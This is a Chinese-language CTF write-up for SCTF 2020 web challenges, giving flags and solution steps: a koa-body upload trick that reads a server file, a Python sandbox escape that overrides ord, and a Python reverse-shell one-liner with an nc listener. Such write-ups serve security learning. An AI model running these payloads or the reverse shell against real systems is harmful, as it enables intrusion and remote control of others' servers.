SCTF 2020 部分WEB writeup

原创

Web

CloudDisk

- Score: 250
- flag: SCTF{47cf9489d8832e44312dssxag6f88f45736e0e9c8}

```
https://github.com/dlau/koa-body/issues/75

http://120.79.1.217:7777/uploadfile

{
 "files": {
  "file": {
   "name": "jankincai",
   "path": "./flag"
  }
 }
}

Upload success ~, your fileId is here: 3484b276cc6038b0378ddcf65880b04f

http://120.79.1.217:7777/downloadfile/3484b276cc6038b0378ddcf65880b04f
```

pysandbox

- Score: 377
- flags: SCTF{N0_p4renth3s1s_2_RCe_1s_1nt3r3stIng}

1. 生成字符集

```
ss = 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.d
up2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

vlist = []

for v in ss:
    if v not in vlist:
        print(v * 50, end="")
        vlist.append(v)
```

2. 覆盖ord和设置字符集

```
# 修改 authorization.username = 生成字符集
cmd = '__builtins__.__dict__[ord.__name__]=request.authorization.username.count'
```

3. 反弹shell

服务器：nc -lvvp port

```
cmd = 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.
dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
```

4. 获取flag

```
cat flag
```

pysandbox2

- Score: 500
- flags: SCTF{7ff31edadeadafc0f69d79fb4a36e7b7}

1. 获取flag

```
# 前三步和pysandbox一样
cd /
./readflag
```